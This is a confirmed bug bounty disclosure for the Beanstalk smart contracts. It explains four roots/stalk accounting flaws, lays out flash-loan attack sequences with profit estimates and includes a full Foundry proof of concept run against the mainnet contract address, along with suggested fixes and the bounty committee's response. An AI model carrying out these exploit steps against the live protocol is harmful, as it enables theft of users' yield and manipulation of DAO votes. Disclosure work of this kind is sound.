📄

Report #27979

Report Date
January 23, 2024
Status
Confirmed
Payout
50,000

Manipulating the Total Stalk/Roots Ratio for Gain.

Report Info

Report ID

#27979

Report type

Smart Contract

Has PoC?

Yes

Target

Impacts

  • Theft of unclaimed yield
  • Illegitimate minting of protocol native assets
  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

This report consists of 4 different bugs, each has a certain impact but when combined together, they are quite devastating and that is why I chose to combine it all to a single report

Bug 1

Protocol's tolerance in allowing withdrawals even when a user has a roots debt.

Impacts

  1. Contributes to Bug 3 And Bug 4 severity Most Important
  2. A malicious actor can mint extra roots (Illegitimate Minting)
  3. The protocol's stalk/roots balance can be damaged
  4. balanceOfPlenty is impacted, as it depends on root ownership.
  5. Long-term, users receive fewer or no rewards due to inflated totalRoots.

Root Cause

Let's examine the burnStalk function used during withdrawals more closely:

    function burnStalk(address account, uint256 stalk) internal {
        AppStorage storage s = LibAppStorage.diamondStorage();
        if (stalk == 0) return;

        uint256 roots;
        if(inVestingPeriod()){
            roots = s.s.roots.mulDiv(
                stalk,
                s.s.stalk-s.newEarnedStalk,
                LibPRBMath.Rounding.Up
            );
            // ...
        } else {
            roots = s.s.roots.mulDiv(
            stalk,
            s.s.stalk,
            LibPRBMath.Rounding.Up);
        }

        if (roots > s.a[account].roots) roots = s.a[account].roots; // The Root Cause is here!!!
        // ...
    }

When the protocol calculates the required roots as being greater than the roots held by the account, it adjusts the roots to match the amount the account owns, essentially accepting a roots debt.

This creates a loophole. For example, if User A exploits a method (like the Stalk Inflate bug which will be detailed later as Bug 3) to transfer some of their roots to User B without transferring the corresponding stalk, a problem arises during withdrawals. The roots debt incurred by User A remains within the protocol. As a result, these roots are effectively and illegitimately minted to User B, bypassing the intended safeguards of the system.

Bug 2

Vesting period Returns true When it Shouldn't

Impact

Even in seasons where there are no new Earned Beans, the vesting period returns true, and ewEarnedStalk remains positive. Consequently, this allows the attacks possible via Bug 3 and Bug 4 to be carried out in any season, regardless if it's above or below the peg.

Root Cause

Based on the docs, the function inVestingPeriod()

Returns if Earned Beans from the previous gm call are still vesting. Vesting Earned Beans cannot be received via plant until the Vesting Period is over, and will be forfeited if a Farmer Withdraws during the Vesting Period.

However, a closer examination of the code reveals a discrepancy:

    function inVestingPeriod() internal view returns (bool) {
        AppStorage storage s = LibAppStorage.diamondStorage();
        return block.number - s.season.sunriseBlock <= VESTING_PERIOD;
    }

This implementation shows that inVestingPeriod merely checks if the elapsed block count since the last gm call is less than VESTING_PERIOD, disregarding whether any new Earned Beans were accrued in the latest gm call.

Bug 3

Stalk Inflation

Impacts

  1. A malicious actor could gain voting power they don't deserve. (Voting Manipulation)
  2. A malicious actor could exploit this to steal all of the Earned Beans. (Theft of Yield)
  3. A malicious actor can mint extra stalk without minting roots.
  4. Minting of Roots (By using Bug 1)

Root Cause

During the vesting period, there is an inconsistency in the number of roots minted when depositing to the protocol compared to the number of roots burnt when withdrawing. When depositing, roots are minted as follows in the mintStalk function:

    function mintStalk(address account, uint256 stalk) internal {
        // ...
        // Calculate the amount of Roots for the given amount of Stalk.
        uint256 roots;
        if (s.s.roots == 0) {
            roots = uint256(stalk.mul(C.getRootsBase()));
        } else {
            roots = s.s.roots.mul(stalk).div(s.s.stalk);
        }
        // ...
    }

The formula for minting roots is roots = (totalRoots * stalk) / totalStalk, where stalk is the deposit amount (for BEAN it will always be times 10000 of the deposited BEAN amount).

When withdrawing:

 function burnStalk(address account, uint256 stalk) internal {
        AppStorage storage s = LibAppStorage.diamondStorage();
        if (stalk == 0) return;

        uint256 roots;
        // Calculate the amount of Roots for the given amount of Stalk.
        // We round up as it prevents an account having roots but no stalk.

        // if the user withdraws in the vesting period, they forfeit their earned beans for that season
        // this is distributed to the other users.
        if(inVestingPeriod()){
            roots = s.s.roots.mulDiv(
                stalk,
                s.s.stalk-s.newEarnedStalk,
                LibPRBMath.Rounding.Up
            );
            // cast to uint256 to prevent overflow
            uint256 deltaRootsRemoved = uint256(s.a[account].deltaRoots)
                .mul(stalk)
                .div(s.a[account].s.stalk);
            s.a[account].deltaRoots = s.a[account].deltaRoots.sub(deltaRootsRemoved.toUint128());
        } else {
            // we only interested in the inVestingPeriod case
            // ...
        }

        if (roots > s.a[account].roots) roots = s.a[account].roots;
        // ...
 }

the formula for burning roots is roots = min(accountRoots, ceil((totalRoots * stalk) / (totalStalk - newEarnedStalk))), which is affected by the newEarnedStalk, and capped by the roots owned by the account.

This creates a discrepancy when newEarnedStalk > 0, requiring less stalk to burn the same amount of roots previously minted. The formula to determine the stalk needed for this is inputStalk = (accountRoots * (totalStalk - newEarnedStalk) / totalRoots.

The Attack Vectors

The 2 possible Attack Vectors are:

  1. Gain extra Voting Power. (Voting Manipulation)
  2. Theft of Earned Beans. (Theft of Yield)

Both vectors involve the same core approach: By depositing and withdrawing only the required amount to burn previously generated roots, an attacker can gradually increase the total stalk without changing the total roots. This undermines a fundamental principle of the protocol:

     *  Total Roots     User Roots
     * ------------- = ------------
     *  Total Stalk     User Stalk

Inflate balanceOfEarnedBeans

The balanceOfEarnedBeans function calculates earned beans as follows:

EarnedBeans = (TotalStalk * userRoots / TotalRoots) - userStalk

To maximize EarnedBeans, one can:

  1. Increase totalStalk -> achievable through the core issue.
  2. Increase userRoots -> also exploitable via the same issue.
  3. Decrease totalRoots
  4. Decrease userStalk -> also exploitable via the same issue.

Increase totalStalk

This can be done by repeating the core exploit with sufficient capital, a flashloan can be used for the needed capital.

Decrease userStalk / Increase userRoots

By exploiting the totalStalk increase, we can also generate roots for ourselves. This is due to the calculation of roots to transfer during a transfer:

    function transferStalk(
        address sender,
        address recipient,
        uint256 stalk
    ) internal {
        // ...
        if(inVestingPeriod()){
            // ...
            roots = stalk == s.a[sender].s.stalk
                ? s.a[sender].roots
                : s.s.roots.sub(1).mul(stalk).div(s.s.stalk - s.newEarnedStalk).add(1); // ((s.roots - 1) * stalk / (s.stalk - s.newEarnedStalk)) + 1
        } else {
            roots = stalk == s.a[sender].s.stalk
            ? s.a[sender].roots
            : s.s.roots.sub(1).mul(stalk).div(s.s.stalk).add(1); // ((s.roots - 1) * stalk / s.stalk) + 1
        }
    }

The formula for the transferred roots is approximately (totalRoots * stalk) / (totalStalk - newEarnedStalk)). So if totalStalk increases, we'll send to the receiver less roots for the same amount of stalk, allowing an attacker to have more roots for the same amount of stalk (or less stalk for the same amount of roots, depends on how you see it).

In contrast to the totalStalk minted before, now we don't need to burn the roots to pay the flashloan back, as we can withdraw all of our deposit except for 1 stalk to keep the roots. So the illegally minted roots can remain at the attacker possession.

Voting power gain

The first step is different depending on if the attacker uses Bug 1 as well

  1. An attacker calls a flashloan for amount X + Y OR An attacker calls a flashloan for amount X and has a capital on Y
  2. Deposits amount Y (This will be used for the illegal extra roots)
  3. Transfers X to a different address controlled by the attacker (smart contract A)
  4. Smart contract A deposits X to Beanstalk
  5. Smart contract A withdraws (accountRoots * (totalStalk - newEarnedStalk) / totalRoots * 10000 from Beanstalk into their internal balance (GAS optimization)
  6. Repeat steps 4-5 as much as needed
  7. Now the totalStalk is inflated
  8. Transfer Y - 1 from the attackers deposit to a different address controlled by the attacker (smart contract B)
  9. Withdraw Y - 1 and Repeat steps 2-9 as much as needed
  10. Withdraw from all of the attacker contracts and repay the flashloan (1 wei of BEAN remains deposited in the attackers deposit to keep the minted roots)

Now the attacker has in Smart Contract B when calling the function balanceOfEarnedBeans some big number while only having a deposit of a single wei of Bean. Upon a thorough examination of the voting [Strategies](https://snapshot.org/#/beanstalkdao.eth/settings) implemented by the DAO on Snapshot, the strategy uses the function balanceOfStalk to determine a user's voting power. Here's how the function is defined:

    function balanceOfStalk(address account) public view returns (uint256) {
        return s.a[account].s.stalk.add(balanceOfEarnedStalk(account));
    }

Let's dive into the balanceOfEarnedStalk function:

    function balanceOfEarnedStalk(address account)
        public
        view
        returns (uint256)
    {
        return balanceOfEarnedBeans(account).mul(C.STALK_PER_BEAN);
    }

Via this attack vector, it is possible to inflate the return value of balanceOfEarnedBeans. This inflation, in turn, leads to an unjustified increase in the voting power for a user, resulting in voting manipulation that does not reflect the legitimate stake or contribution of the user in question.

Bug 1 Contribution

The first step is different depending on if the attacker uses Bug 1 as well

Without Bug 1

Without Bug 1 the attacker can't withdraw their own funds after transferring it to Smart Contract B, So the gain in Voting Power in capped by the attacker's own capital.

With Bug 1

With Bug 1 the attacker can withdraw their funds after transferring it to Smart Contract B, thus able to use the flashloan funds for the Voting Power gained, enabling the attacker to repeat this attack and gain infinite voting power!

Making this flow much more serious! And Critical

Theft of Earned Beans pseudo example

  1. An attacker calls a flashloan for amount X + Y
  2. Deposits amount Y (This will be used for the illegal extra roots)
  3. Transfers X to a different address controlled by the attacker (smart contract A)
  4. Smart contract A deposits X to Beanstalk
  5. Smart contract A withdraws (accountRoots * (totalStalk - newEarnedStalk) / totalRoots * 10000 from Beanstalk into their internal balance (GAS optimization)
  6. Repeat steps 4-5 as much as needed
  7. Now the totalStalk is inflated
  8. Transfer Y - 1 from the attackers deposit to a different address controlled by the attacker (smart contract B)
  9. Withdraw Y - 1 and Repeat steps 2-9 as much as needed
  10. Call plant and enjoy the stolen Earned Beans.
  11. Withdraw from all of the attacker contracts and repay the flashloan (1 wei of BEAN remains deposited in the attackers deposit to keep the minted roots)

Bug 1 Contribution

There is a difference in how the attacker withdraws their funds in step 11 based on if they use or don't use Bug 1.

Withdrawing without Bug 1

  1. Smart contract B transfers their 1 wei of bean, all stalk and all roots to the attacker (So the attacker won't run into root debt issues when withdrawing to repay the debt)
  2. Attacker withdraws all of the deposit and repays the flashloan.

No extra Roots were minted in this process

Withdrawing with Bug 1

  1. Attacker withdraws all of the deposit except for the 1 wei of bean, and repays the flashloan.

Roots were minted in this process

Making this flow much more serious!!!

Bug 4

Change User's Root/Stalk ratio to profit

Impacts

  1. Gain of Additional Voting Power (Voting Manipulation)
  2. Theft of Earned Beans
  3. Minting of Roots (By using Bug 1)

Root Cause

There is an inconsistency in the number of roots transfer during and after the Vesting Period:

    function transferStalk(
        address sender,
        address recipient,
        uint256 stalk
    ) internal {
        // ...
        if(inVestingPeriod()){
            // ...
            roots = stalk == s.a[sender].s.stalk
                ? s.a[sender].roots
                : s.s.roots.sub(1).mul(stalk).div(s.s.stalk - s.newEarnedStalk).add(1); // ((s.roots - 1) * stalk / (s.stalk - s.newEarnedStalk)) + 1
        } else {
            roots = stalk == s.a[sender].s.stalk
            ? s.a[sender].roots
            : s.s.roots.sub(1).mul(stalk).div(s.s.stalk).add(1); // ((s.roots - 1) * stalk / s.stalk) + 1
        }
    }

During Vesting Period The formula for the transferred roots is approximately (totalRoots * stalk) / (totalStalk - newEarnedStalk)). After Vesting Period The formula for the transferred roots is approximately (totalRoots * stalk) / totalStalk).

Since the denominator after the Vesting Period in bigger, a user will transfer less roots for the same amount of stalk after the Vesting Period.

The Attack Vector

The attacker can abuse the discrepancy between the roots transferred during a vesting period and. Here's a step-by-step breakdown:

  1. Attacker A deposits amount X during vesting period.
  2. Attacker A transfers a portion of their deposit X - Y during vesting period.
  3. Attacker B transfers amount X - Y - 1 after the vesting period. Attacker B returns fewer roots than they initially received.

With Bug 1

  1. Attacker A withdraws the entire initial amount X. In doing so, the protocol inadvertently resolves Attacker A's roots debt.
  2. As a consequence of the withdrawal in step 4, the roots debt that was resolved by the protocol is effectively transferred to Attacker B, thereby enabling them to illegitimately mint roots

This attack is now repeatable in every season.

Voting Power Gain

After step 3, Attacker B has a balanceOfEarnedBeans greater than they should since we decreased their userStalk variable, and together with Attacker A stalk, they gained extra Voting Power.

Theft

After step 3, Attacker B has a balanceOfEarnedBeans greater than they should, Attacker B can call plant and steal the additional Earned Beans.

Suggested fixes

This is based on my current understanding of the protocol. Some issues may require more complex fixes

Bug 1

The root of this problem was introduced as part of [ebip-0](https://github.com/BeanstalkFarms/Beanstalk/pull/80/files#diff-fbd431ce899b0679e919b2bf1fa828e50eeddd381e4efd2012eca396bb7758daR95). Given its complexity, finding a solution might be challenging, as we need to consider the protocol desired behavior.

A potential solution could involve standardizing the calculation of roots to be transferred in the transferStalk function and during mint and burn of stalk to ensure consistency.

Bug 2

A straightforward fix would be to include a check for the current season's abovePeg status. The revised function would be:

    function inVestingPeriod() internal view returns (bool) {
        AppStorage storage s = LibAppStorage.diamondStorage();
        return (block.number - s.season.sunriseBlock <= VESTING_PERIOD) && s.season.abovePeg;
    }

Bug 3

The Root Cause here is the inconsistency in the number of roots minted when depositing to the protocol compared to the number of roots burnt when withdrawing. To address this, I recommend:

  1. Reducing the roots minted during deposits in the Vesting Period.
  2. Disallowing withdrawals during the Vesting Period.

Additionally, I suggest implementing preventing withdrawals or transfers in the same block as a deposit. This precaution could significantly reduce the risk of potential flashloan attacks.

Bug 4

The Root Cause here is the inconsistency in the number of roots transferred during and after Vesting Period. To address this, I recommend Disallowing transfers during the Vesting Period.

POC

There is a function in this test to demonstrate each bug and each bug combination

List of Tests

  1. testBug3 -> Demonstrates Bug 3 (Stalk Inflation)
  2. testBug3WithBug1 -> Demonstrates Bug 3 (Stalk Inflation with Roots minting)
  3. testBug4 -> Demonstrates Bug 4 (User Roots/Stalk ratio)
  4. testBug4WithBug1 -> Demonstrates Bug 4 (User Roots/Stalk ratio with Roots minting)

Gas Costs

Bug 3 will cost more gas as more profit is gained, to address that I've made some gas/profit calculations and some gas optimizations:

Gas Optimizations

  1. Utilizing a single account for the Stalk Inflation attack (rather than multiple accounts with fund transfers).
  2. Leveraging Beanstalk's Internal Balances to reduce gas costs for approve and transferFrom operations.

Gas Calculations

My test results indicates that an attacker could potentially gain a profit of $1523 Beans for 5M gas. To determine the cost of 5M gas, I utilized two methods:

  1. Checked the Ethereum Gas Price tracker at [ethereum-gas-price](https://www.datawallet.com/ethereum-gas-price).
  2. Analyzed a recent transaction as a reference point [Example](https://etherscan.io/tx/0x5a757e729184a8b9ca2ddae9358c9eb531db0d94686252bfcbe3958366ee7ce4).

The current gas price stands at approximately 10 gwei, equivalent to roughly 0.00000001 ETH ([Eth-Converter](https://eth-converter.com/)).

In my test, Multiplying this by 5M gives us 5_000_000 * 0.00000001 = 0.05 ETH, translating to about $115. The net profit for an attacker would be $1523 - $115 = $1408 From the plant function, and 1523$ worth of Voting Power.

In addition, when running Bug 3 with more iterations loops = 300 the attack required 20M gas (400$ cost) and made a profit of 8165$.

The Actual POC

Run this foundry test on a fork of the mainnet

This is the command I used to run the test forge test --fork-url https://eth-mainnet.g.alchemy.com/v2/$ALCHEMY_KEY --fork-block-number 18990675 --gas-price 0 --via-ir -vv

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.1;

import "forge-std/console.sol";
import {Test} from "forge-std/Test.sol";
import {BeanStalk} from "../src/BeanStalk.sol";
import {ERC20} from "../src/ERC20.sol";

contract MainTest is Test {
    BeanStalk public beanstalk;

    ERC20 public bean;

    address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    address constant BEANERC20 = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;

    // attacker addresses for the roots stalk inbalance attack
    address constant ATTACKER = 0xd7E167AB2A4bC910619ACB0CC36B7707Ab8816d6;
    address constant ATTACKER2 = 0x4E0251E445c480a66F430536ea04C152d9Cc58aF;
    address constant ATTACKER3 = 0x9a9382efA52345A97424647105Da719AE7131E2e;

    address constant BEAN_FLASHLOANER_SIM = 0xBEA0e11282e2bB5893bEcE110cF199501e872bAd; // Simulate a flash loan cause I'm lazy
    uint256 constant STALK_PER_BEAN = 10000; // 4 decimals
    uint256 constant newEarnedStalk = 16791067962 * STALK_PER_BEAN;

    function setUp() public {
        beanstalk = BeanStalk(BEANSTALK);

        bean = ERC20(BEANERC20);
    }

    function balanceOfStalkNoEarned(address user) public view returns (uint256) {
        return beanstalk.balanceOfStalk(user) - beanstalk.balanceOfEarnedStalk(user);
    }

    function logTotals() public view {
        console.log("totalRoots: %s", beanstalk.totalRoots());
        console.log("totalStalk: %s", beanstalk.totalStalk());
    }

    function logBalances(address user) public view {
        console.log("balanceOfRoots user: %s", beanstalk.balanceOfRoots(user));
        console.log("balanceOfStalkNoEarned user: %s", balanceOfStalkNoEarned(user));
    }

    function balanceOfEarnedBeansInDollars(address user) public view returns (uint256) {
        return beanstalk.balanceOfEarnedBeans(user) / 1e6; // bean has 6 decimals
    }

    function initializeNewSeason() public {
        // just start a new season to make sure we are in the vesting period
        vm.warp(block.timestamp + 3600);
        vm.roll(block.number + 1);

        vm.startPrank(ATTACKER);
        // sunrise
        beanstalk.sunrise();
        vm.stopPrank();
    }

    function inflateTotalStalkAttack(uint256 flashloanedAmount, uint256 loops) public {
        uint256 initialAddress = 10_000;
        uint256 currentAmout = flashloanedAmount;
        int96 stem;

        // the random addresses simulate smart contracts / addresses controled by the attacker
        vm.startPrank(ATTACKER);
        bean.transfer(ATTACKER3, flashloanedAmount);
        vm.stopPrank();

        vm.startPrank(ATTACKER3);
        for (uint i; i < loops; ++i) {
            // attacker deposits
            if (i == 0) bean.approve(BEANSTALK, currentAmout);
            (, , stem) = beanstalk.deposit(BEANERC20, currentAmout, i == 0 ? BeanStalk.From.EXTERNAL : BeanStalk.From.INTERNAL);
            currentAmout = (beanstalk.balanceOfRoots(ATTACKER3) * (beanstalk.totalStalk() - newEarnedStalk)) / beanstalk.totalRoots();
            currentAmout = (currentAmout / STALK_PER_BEAN) - 1; // round down for safety
            beanstalk.withdrawDeposit(BEANERC20, stem, currentAmout, i == loops - 1 ? BeanStalk.To.EXTERNAL : BeanStalk.To.INTERNAL);
        }
        vm.stopPrank();
    }


    function deflateTotalStalkAttack(uint256 loops, int96 stem) public {
        uint256 initialAddress = 10_000;
        uint256 amount = beanstalk.balanceOf(ATTACKER3, beanstalk.getDepositId(BEANERC20, stem));

        vm.startPrank(ATTACKER3);
        beanstalk.withdrawDeposit(BEANERC20, stem, amount, BeanStalk.To.EXTERNAL);
        bean.transfer(ATTACKER, bean.balanceOf(ATTACKER3)); // attacker needs to repay flashloan
        vm.stopPrank();
    }

    function theftOfEarnedBeans(uint256 loops, uint256 depositedAmount, uint256 inflateAttackAmount) public returns (int96 stem) {
        vm.startPrank(ATTACKER);
        bean.approve(BEANSTALK, depositedAmount);
        (, , stem) = beanstalk.deposit(BEANERC20, depositedAmount, BeanStalk.From.EXTERNAL);
        beanstalk.transferDeposit(ATTACKER, ATTACKER2, BEANERC20, stem, depositedAmount);
        vm.stopPrank();

        console.log("----------------- stalk and roots state before inflation of stalk -----------------");
        logTotals();
        inflateTotalStalkAttack(inflateAttackAmount, loops);
        console.log("----------------- stalk and roots state after inflation of stalk -----------------");
        logTotals();

        vm.startPrank(ATTACKER2);
        beanstalk.transferDeposit(ATTACKER2, ATTACKER, BEANERC20, stem, depositedAmount - 1);
        vm.stopPrank();
    }

    function testBug3() public {
        uint256 loops = 75;
        uint256 attackerInitialCapital = 100_000e6; // Simulate the attackers initial capital, this is required in case bug 1 is not useable
        uint256 inflateAttackAmount = 6_500_000e6; // flashed loan amount for the inflate totalStalk/totalRoots ratio

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // console.log("----------------- stalk and roots amount before the attack -----------------");
        // logTotals();

        // simulate a flash loan as I'm too lazy to actually call a flash loan
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, attackerInitialCapital + inflateAttackAmount);
        vm.stopPrank();

        int96 stem = theftOfEarnedBeans(loops, attackerInitialCapital, inflateAttackAmount);
        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));

        deflateTotalStalkAttack(loops, stem);

        vm.startPrank(ATTACKER);
        // attacker can't withdraw deposit without bug 1
        // to withdraw, the attacker will need Attacker2 to transfer their deposit back with all of the needed roots.
        // beanstalk.withdrawDeposit(BEANERC20, stem, attackerInitialCapital - 1, BeanStalk.To.EXTERNAL);

        // attacker returns flashloan
        bean.transfer(BEAN_FLASHLOANER_SIM, inflateAttackAmount);
        vm.stopPrank();

        // console.log("----------------- stalk and roots amount after the attack -----------------");
        // logTotals();
    }

    function testBug3WithBug1() public {
        uint256 loops = 75;
        uint256 depositedAmount = 6_500_000e6; // flashed loan amount for depositing and transferring to receive earned beans
        uint256 inflateAttackAmount = 6_500_000e6; // flashed loan amount for the inflate totalStalk/totalRoots ratio

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // variables to show change and theft in the protocol
        uint256 totalStalkBefore = beanstalk.totalStalk();
        uint256 totalRootsBefore = beanstalk.totalRoots();

        // console.log("----------------- stalk and roots amount before the attack -----------------");
        // logTotals();

        // simulate a flash loan as I'm too lazy to actually call a flash loan
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, depositedAmount + inflateAttackAmount);
        vm.stopPrank();

        int96 stem = theftOfEarnedBeans(loops, depositedAmount, inflateAttackAmount);
        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));

        deflateTotalStalkAttack(loops, stem);

        vm.startPrank(ATTACKER);
        // attacker withdraws deposit, this is possible via bug 1
        beanstalk.withdrawDeposit(BEANERC20, stem, depositedAmount - 1, BeanStalk.To.EXTERNAL);

        // attacker returns flashloan
        bean.transfer(BEAN_FLASHLOANER_SIM, inflateAttackAmount + depositedAmount);
        vm.stopPrank();

        // console.log("----------------- stalk and roots amount after the attack -----------------");
        // logTotals();

        console.log("----------------- show change in totalStalk and change in totalRoots -----------------");
        console.log("change in total stalk: %s", beanstalk.totalStalk() - totalStalkBefore); // the 10000 stalk here are the 1 stalk remained deposited for attacker2
        console.log("change in total roots: %s", beanstalk.totalRoots() - totalRootsBefore); // this is the amount of illegaly minted roots

        // the attacker can now repeat the whole process again for more profit if needed and for more free roots and earned beans!
    }

    function testBug4() public {
        uint256 accountCapital = 100_000e6;
        uint256 amountToTransfer = accountCapital - 100e6;
        int96 stem;

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // Attacker needs some initial capital
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, accountCapital);
        bean.transfer(ATTACKER2, 1); // the attacker needs `depositAmount > 0` and 1 wei is enough
        vm.stopPrank();

        // Attacker2 initial 1 wei so when transferring to Attacker1 they will have a 1 wei of deposit remaining
        vm.startPrank(ATTACKER2);
        bean.approve(BEANSTALK, 1);
        (, , stem) = beanstalk.deposit(BEANERC20, 1, BeanStalk.From.EXTERNAL);
        vm.stopPrank();

        vm.startPrank(ATTACKER);
        bean.approve(BEANSTALK, accountCapital);
        (, , stem) = beanstalk.deposit(BEANERC20, accountCapital, BeanStalk.From.EXTERNAL);
        beanstalk.transferDeposit(ATTACKER, ATTACKER2, BEANERC20, stem, amountToTransfer); // transfer almost all of the roots
        vm.stopPrank();

        // wait for the vesting period to end
        vm.warp(block.timestamp + 132);
        vm.roll(block.number + 11);

        // transfer back to Attacker less roots than they sent to Attacker2 during vesting period
        vm.startPrank(ATTACKER2);
        beanstalk.transferDeposit(ATTACKER2, ATTACKER, BEANERC20, stem, amountToTransfer); // transfer back now that less roots are needed for the same stalk amount
        vm.stopPrank();

        // attacker can't withdraw deposit without bug 1
        // to withdraw, the attacker will need Attacker2 to transfer their deposit back with all of the needed roots.
        // vm.startPrank(ATTACKER);
        // beanstalk.withdrawDeposit(BEANERC20, stem, accountCapital, BeanStalk.To.EXTERNAL);
        // vm.stopPrank();

        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker additional voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));

        console.log("----------------- attacker original voting power remains -----------------");
        console.log("attacker original voting power (balanceOfStalk) ATTACKER: %s", beanstalk.balanceOfStalk(ATTACKER));


        // the attacker can now repeat the whole process again once every season, over time it will inflate and the attacker will posses a huge amount of roots
    }

    function testBug4WithBug1() public {
        uint256 accountCapital = 100_000e6;
        uint256 amountToTransfer = accountCapital - 100e6;
        int96 stem;

        initializeNewSeason(); // this has nothing to do with the attack, just here to make sure we are in the vesting period in the test

        // Attacker needs some initial capital
        vm.startPrank(BEAN_FLASHLOANER_SIM);
        bean.transfer(ATTACKER, accountCapital);
        bean.transfer(ATTACKER2, 1); // the attacker needs `depositAmount > 0` and 1 wei is enough
        vm.stopPrank();

        // Attacker2 initial 1 wei so when transferring to Attacker1 they will have a 1 wei of deposit remaining
        vm.startPrank(ATTACKER2);
        bean.approve(BEANSTALK, 1);
        (, , stem) = beanstalk.deposit(BEANERC20, 1, BeanStalk.From.EXTERNAL);
        vm.stopPrank();

        // variables to show change and theft in the protocol
        uint256 totalStalkBefore = beanstalk.totalStalk();
        uint256 totalRootsBefore = beanstalk.totalRoots();

        vm.startPrank(ATTACKER);
        bean.approve(BEANSTALK, accountCapital);
        (, , stem) = beanstalk.deposit(BEANERC20, accountCapital, BeanStalk.From.EXTERNAL);
        beanstalk.transferDeposit(ATTACKER, ATTACKER2, BEANERC20, stem, amountToTransfer); // transfer almost all of the roots
        vm.stopPrank();

        // wait for the vesting period to end
        vm.warp(block.timestamp + 132);
        vm.roll(block.number + 11);

        // transfer back to Attacker less roots than they sent to Attacker2 during vesting period
        vm.startPrank(ATTACKER2);
        beanstalk.transferDeposit(ATTACKER2, ATTACKER, BEANERC20, stem, amountToTransfer); // transfer back now that less roots are needed for the same stalk amount
        vm.stopPrank();

        // withdraw the deposit, this is possible via bug 1
        vm.startPrank(ATTACKER);
        beanstalk.withdrawDeposit(BEANERC20, stem, accountCapital, BeanStalk.To.EXTERNAL);
        vm.stopPrank();

        console.log("----------------- show change in totalStalk and change in totalRoots -----------------");
        console.log("change in total stalk: %s", beanstalk.totalStalk() - totalStalkBefore); // this is zero!
        console.log("change in total roots: %s", beanstalk.totalRoots() - totalRootsBefore); // this is the amount of illegaly minted roots

        console.log("----------------- attackers profit -----------------");
        console.log("balanceOfEarnedBeansInDollars ATTACKER2: %s", balanceOfEarnedBeansInDollars(ATTACKER2)); // capable of stealing all of the current season earned beans in a single transaction.

        console.log("----------------- attackers additional voting power -----------------");
        console.log("attacker voting power (balanceOfStalk) ATTACKER2: %s", beanstalk.balanceOfStalk(ATTACKER2));


        // the attacker can now repeat the whole process again once every season, over time it will inflate and the attacker will posses a huge amount of roots
    }
}

BIR-12: Earned Beans Theft

BIC Response

Based on our bounty page, this submission's ( Smart Contract - High ) reward is capped at the lower of (a) 100% of practicable economic damage, or (b) USD 100 000 (paid 1:1 in Beans), primarily taking into consideration the Funds at Risk. There is a minimum reward of USD 10 000 for High severity smart contract bug reports.

However, we don't believe it is practical to precisely quantify the practicable economic damage in this report as a result of the exploit being more or less profitable at different times.

The report points out that during Seasons over the last few months, the attack has been profitable by various amounts, including a particular Season (and following Seasons until certain conditions change) where up to 20,000 Beans could have been stolen in each block during the 10 block Vesting Period.

Given this economic damage that could occur at various points in time (and for many of the reasons outlined earlier in the thread), the BIC has determined that this bug report be rewarded 50,000 Beans.